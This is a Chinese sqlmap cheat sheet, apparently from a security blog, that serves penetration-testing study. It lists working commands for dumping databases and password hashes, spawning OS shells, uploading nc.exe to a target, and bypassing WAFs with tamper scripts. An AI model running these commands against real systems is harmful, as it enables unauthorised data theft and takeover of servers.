免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。
文章正文
***该部分可参考breezeO_o师傅的文章,见下面的链接,随用随查即可***
***链接:https://blog.csdn.net/Breeze_CAT/article/details/80628392***
--parse-errors 解析并显示报错信息;
--hex dump非ascii字符时,将其编码为16进制,收到后解码还原;
-v 显示信息的级别,一共有六级:0:只显示python 错误和一些严重信息;1:显示基本信息(默认);2:显示debug信息;3:显示注入过程的payload;4:显示http请求包;5:显示http响应头;7:显示http相应页面;
--safe-freq=SAFE.. 频繁的发送错误的请求,服务器也会销毁session或者其他惩罚方式,开启这个功能之后,发几次错的就会发一次对的,通常用于盲注;
--level=LEVEL 设置测试的等级(1-5,默认为1)lv2:cookie; lv3:user-agent,refere; lv5:host 在sqlmap/xml/payloads文件内可以看见各个level发送的payload;
--risk=RISK 风险(1-4,默认1)升高风险等级会增加数据被篡改的风险。risk 2:基于事件的测试;risk 3:or语句的测试;risk 4:update的测试;
#基础检测
sqlmap.py -u http://127.0.0.1/user_info.php?uid=1
#POST请求的注入点测试
sqlmap.py -r post.txt
#批量检测(注意target.txt跟sqlmap.py在同一个目录下)
sqlmap.py -m target.txt
#站点爬取
sqlmap.py -u "http://127.0.0.1/" --batch --crawl=3
#模拟测试手机环境站点
sqlmap.py -u "http://127.0.0.1/vuln.php?id=1" --mobile
#智能判断测试点
sqlmap.py -u "http://127.0.0.1/info.php?id=1" --batch --smart
#自动填写表单进行注入
sqlmap.py -u "http://127.0.0.1/info.php?id=1" --forms
#有的站点需要Cookie才能扫描,需要登录后指定Cookie
sqlmap.py -u "http://127.0.0.1/info.php?id=1" --cookie="*value*"
###注意:在批量扫验证的时候,发现不同版本号扫描的结果不一样,1.2.11.6版本可以扫出来数据,但是1.3.4版本就没办法;
经过分析,两坑如下:
One、v1.2.11(/v1.2.10/v1.2.9/master)的boundaries.xml没有了针对模糊查询(%)的测试,而v1.2(/v1.1.12/1.1.4/1.2.2)则有。
Two、v1.2.11(/v1.2.10/1.2.9/master)必须手动设置json的某个参数为*才能对这个参数进行注入,否则payload直接跟在json后导致无法注入,而v1.2(/v1.1.12)则可以默认回车(y)即可对json的某个参数注入。
#获取当前所有数据库名
sqlmap.py -u http://127.0.0.1/user_info.php?uid=1 --dbs --batch
#获取某一数据库(admin)的所有表名
sqlmap.py -u http://127.0.0.1/user_info.php?uid=1 -D admin --tables --batch
#获取某一数据库(admin)中表的所有的数据个数
sqlmap.py -u http://127.0.0.1/user_info.php?uid=1 -D admin --count --batch
#获取某一数据库(admin)的某一数据表(username)的所有字段名
sqlmap.py -u http://127.0.0.1/user_info.php?uid=1 -D admin -T username --columns --batch
#获取某一数据库(admin)的某一数据表(username)的某一列(password)的前10行数据
sqlmap.py -u http://127.0.0.1/user_info.php?uid=1 -D admin -T username -C password --start=1 --stop=10 --dump --batch
#使用hex避免字符编码导致数据丢失
sqlmap.py -u "http://127.0.0.1/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors
#当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解
sqlmap.py -u "http://127.0.0.1/get_int.php?id=1" --passwords
#查找数据库管理系统的标识
sqlmap.py -u "http://127.0.0.1/get_int.php?id=1" --banner
#其他信息参数如下
--current-user 获取数据库管理系统当前用户
--current-db 获取数据库管理系统当前数据库
--hostname 获取数据库服务器的主机名称
--is-dba 检测DBMS当前用户是否DBA
--users 枚举数据库管理系统用户
--passwords 枚举数据库管理系统用户密码哈希
--privileges 枚举数据库管理系统用户的权限
--roles 枚举数据库管理系统用户的角色
--schema 枚举数据库架构
--search 查找特定的列名,表名或数据库名,配合上面的-D,-C,-T
--comments 检索数据库的备注
--exclude-sysdbs 枚举表时排除系统数据库
#执行系统命令
sqlmap.py -u "url" --os-cmd="net user"
#执行系统交互的Shell
sqlmap.py -u “url” --os-shell
#执行一条SQL语句
--sql-query=QUERY 要执行的SQL语句
#创建一个SQL的Shell
--sql-shell 创建一个sql的shell
##查询是否站库分离(判断主机名和数据库名是否一样)
select @@hostname; //服务端主机名称
select host_name();
#读取文件(从后端的数据库管理系统文件系统读取文件)
--file-read=RFILE
##SQL Server2005中读取二进制文件example.exe:
sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" --file-read "C:/example.exe"#上传文件
--file-write=WFILE 要上传的本地文件路径
--file-dest=DFILE 写入目标系统的绝对路径
##在kali中将/software/nc.exe文件上传到C:/WINDOWS/Temp下:
python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write "/software/nc.exe" --file-dest "C:/WINDOWS/Temp/nc.exe"
#延时注入(延时0.5秒)
sqlmap --dbs -u "url" --delay 0.5
#sqlmap请求指定次数(请求2次)
sqlmap --dbs -u "url“ --safe-freq=2
-p 指定测试的参数
--skip=SKIP 跳过对给定参数的测试
--skip-static 跳过测试不显示为动态的参数
--dbms=MySQL 指定数据库类型
--dbms-cred=DBMS.. DBMS认证凭证(user:password)
--tamper=TAMPER 使用给定的脚本篡改注入数据
序号 | 脚本名称 | 注释 |
1 | 0x2char | 将每个编码后的字符转换为等价表达 |
2 | apostrophemask | 单引号替换为Utf8字符 |
3 | apostrophenullencode | 替换双引号为%00%27 |
4 | appendnullbyte | 有效代码后添加%00 |
5 | base64encode | 使用base64编码 |
6 | between | 比较符替换为between |
7 | bluecoat | 空格替换为随机空白字符,等号替换为like |
8 | chardoubleencode | 双url编码 |
9 | charencode | 将url编码 |
10 | charunicodeencode | 使用unicode编码 |
11 | charunicodeescape | 以指定的payload反向编码未编码的字符 |
12 | commalesslimit | 改变limit语句的写法 |
13 | commalessmid | 改变mid语句的写法 |
14 | commentbeforeparentheses | 在括号前加内联注释 |
15 | concat2concatws | 替换CONCAT为CONCAT_WS |
16 | equaltolike | 等号替换为like |
17 | escapequotes | 双引号替换为\\ |
18 | greatest | 大于号替换为greatest |
19 | halfversionedmorekeywords | 在每个关键字前加注释 |
20 | htmlencode | html编码所有非字母和数字的字符 |
21 | ifnull2casewhenisnull | 改变ifnull语句的写法 |
22 | ifnull2ifisnull | 替换ifnull为if(isnull(A)) |
23 | informationschemacomment | 标示符后添加注释 |
24 | least | 替换大于号为least |
25 | lowercase | 全部替换为小写值 |
26 | modsecurityversioned | 空格替换为查询版本的注释 |
27 | modsecurityzeroversioned | 添加完整的查询版本的注释 |
28 | multiplespaces | 添加多个空格 |
29 | nonrecursivereplacement | 替换预定义的关键字 |
30 | overlongutf8 | 将所有字符转义为utf8 |
31 | overlongutf8more | 以指定的payload转换所有字符 |
32 | percentage | 每个字符前添加% |
33 | plus2concat | 将加号替换为concat函数 |
34 | plus2fnconcat | 将加号替换为ODBC函数{fn CONCAT()} |
35 | randomcase | 字符大小写随机替换 |
36 | randomcomments | /**/分割关键字 |
37 | securesphere | 添加某字符串 |
38 | sp_password | 追加sp_password字符串 |
39 | space2comment | 空格替换为/**/ |
40 | space2dash | 空格替换为--加随机字符 |
41 | space2hash | 空格替换为#加随机字符 |
42 | space2morecomment | 空格替换为/_/ |
43 | space2morehash | 空格替换为#加随机字符及换行符 |
44 | space2mssqlblank | 空格替换为其他空符号 |
45 | space2mssqlhash | 空格替换为%23%0A |
46 | space2mysqlblank | 空格替换为其他空白符号 |
47 | space2mysqldash | 空格替换为--%0A |
48 | space2plus | 空格替换为加号 |
49 | space2randomblank | 空格替换为备选字符集中的随机字符 |
50 | symboliclogical | AND和OR替换为&&和|| |
51 | unionalltounion | union all select替换为union select |
52 | unmagicquotes | 宽字符绕过GPC |
53 | uppercase | 全部替换为大写值 |
54 | varnish | 添加HTTP头 |
55 | versionedkeywords | 用注释封装每个非函数的关键字 |
56 | versionedmorekeywords | 使用注释绕过 |
57 | xforwardedfor | 添加伪造的HTTP头 |
版本 | 可用tamper编号 | 脚本名称 |
4/5.0/5.5 | 1 | 0x2char |
6 | between | |
9 | charencode | |
16 | concat2concatws | |
18 | greatest | |
24 | least | |
25 | lowercase | |
35 | randomcase | |
39 | space2comment | |
49 | space2randomblank | |
53 | uppercase | |
5.1 | 7 | bluecoat |
46 | space2mysqlblank | |
5.0/5.5 | 12 | commalesslimit |
13 | commalessmid | |
21 | ifnull2casewhenisnull | |
22 | ifnull2ifisnull | |
42 | space2morecomment | |
5.0 | 15 | concat2concatws |
26 | modsecurityversioned | |
27 | modsecurityzeroversioned | |
4.0/5.0 | 41 | space2hash |
5.1.56 | 10 | charunicodeencode |
5.1.56/5.5.11 | 32 | percentage |
56 | versionedmorekeywords | |
4.0.18/5.0.22 | 19 | halfversionedmorekeywords |
4.0.18/5.1.56/5.5.11 | 55 | versionedkeywords |
5.1.41 | 43 | space2morehash |
未指定版本 | 14 | commentbeforeparentheses |
40 | space2dash | |
45 | space2mssqlhash | |
47 | space2mysqldash |
版本 | 可用tamper编号 | 脚本名称 |
2005/2000 | 10 | charunicodeencode |
32 | percentage | |
44 | space2mssqlblank | |
2005 | 6 | between |
9 | charencode | |
16 | equaltolike | |
25 | lowercase | |
35 | randomcase | |
39 | space2comment | |
49 | space2randomblank | |
53 | uppercase | |
2002+ | 33 | plus2concat |
2008+ | 34 | plus2fnconcat |
未指定 | 14 | commentbeforeparentheses |
版本 | 可用tamper编号 | 脚本名称 |
未指定 | 4 | appendnullbyte |
版本 | 可用tamper编号 | 脚本名称 |
10g | 6 | between |
9 | charencode | |
14 | commentbeforeparentheses | |
18 | greatest | |
24 | least | |
25 | lowercase | |
35 | randomcase | |
39 | space2comment | |
49 | space2randomblank | |
53 | uppercase |
版本 | 可用tamper编号 | 脚本名称 |
8.3/8.4/9.0 | 6 | between |
9 | charencode | |
18 | greatest | |
24 | least | |
25 | lowercase | |
39 | space2comment | |
49 | space2randomblank | |
53 | uppercase | |
9.0 | 32 | percentage |
9.0.3 | 10 | charunicodeencode |
未指定 | 14 | commentbeforeparentheses |
35 | randomcase |
版本 | 可用tamper编号 | 脚本名称 |
未指定 | 40 | space2dash |
版本 | 可用tamper编号 | 脚本名称 |
2 | apostrophemask | |
3 | apostrophenullencode | |
5 | base64encode | |
8 | chardoubleencode | |
11 | charunicodeescape | |
17 | escapequotes | |
20 | htmlencode | |
23 | informationschemacomment | |
28 | multiplespaces | |
29 | nonrecursivereplacement | |
30 | overlongutf8 | |
31 | overlongutf8more | |
36 | randomcomments | |
37 | securesphere | |
48 | space2plus | |
50 | symboliclogical | |
51 | unionalltounion | |
52 | unmagicquotes | |
54 | varnish | |
57 | xforwardedfor |
http://www.langzi.fun/SQLMAP%E9%80%9F%E6%9F%A5%E8%A1%A8.html
https://blog.csdn.net/Breeze_CAT/article/details/80628392
https://zhzhdoai.github.io/2019/02/25/sqlmap%E6%93%8D%E4%BD%9C(sqlilabs)/#%E5%89%8D%E8%A8%80
https://www.freebuf.com/sectool/179035.html
技术交流
知识星球
致力于红蓝对抗,实战攻防,星球不定时更新内外网攻防渗透技巧,以及最新学习研究成果等。常态化更新最新安全动态。专题更新奇技淫巧小Tips及实战案例。
涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全。星球中已发布 200+ 安全资源,针对网络安全成员的普遍水平,并为星友提供了教程、工具、POC&EXP以及各种学习笔记等等。
交流群
关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。
关注我们
关注福利:
回复“app" 获取 app渗透和app抓包教程
回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。
回复“书籍" 获取 网络安全相关经典书籍电子版pdf
往期文章